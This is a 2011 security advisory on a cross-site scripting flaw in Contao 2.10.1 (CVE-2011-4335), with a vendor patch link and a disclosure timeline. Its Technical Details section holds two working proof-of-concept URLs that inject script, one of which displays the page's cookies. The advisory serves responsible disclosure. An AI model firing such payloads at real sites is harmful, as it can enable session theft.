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SSCHADV2011-025 - Contao 2.10.1 Cross-site scripting vulnerability

Advisory:
Contao 2.10.1 Cross-site scripting vulnerability
Advisory ID:
SSCHADV2011-025
Author:
Stefan Schurtz
Affected Software:
Successfully tested on Contao 2.10.1
Vendor URL:
Vendor Status:
fixed
CVE-ID:
CVE-2011-4335
 
======================
Vulnerability Description:
======================
 
Contao 2.10 is prone to a Cross-site scripting vulnerability
 
==============
Technical Details:
==============

http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert(‘xss’)</script>
http://<target>/contao-2.10.1/index.php/teachers/’"</style></script><script>alert(document.cookie)</script>

=====
Solution:
=====

- Vendor patch available – http://dev.contao.org/projects/typolight/repository/revisions/1041
- Release of a new version 2.10.2 next week

================
Disclosure Timeline:
================

07-Oct-2011 – informed developers (contao@inetrobots.com)
07-Oct-2011 – vendor patch
08-Oct-2011 – release date of this security advisory
08-Oct-2011 – post on BugTraq

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.contao.org/
http://dev.contao.org/projects/typolight/repository/revisions/1041
http://www.rul3z.de/advisories/SSCHADV2011-025.txt

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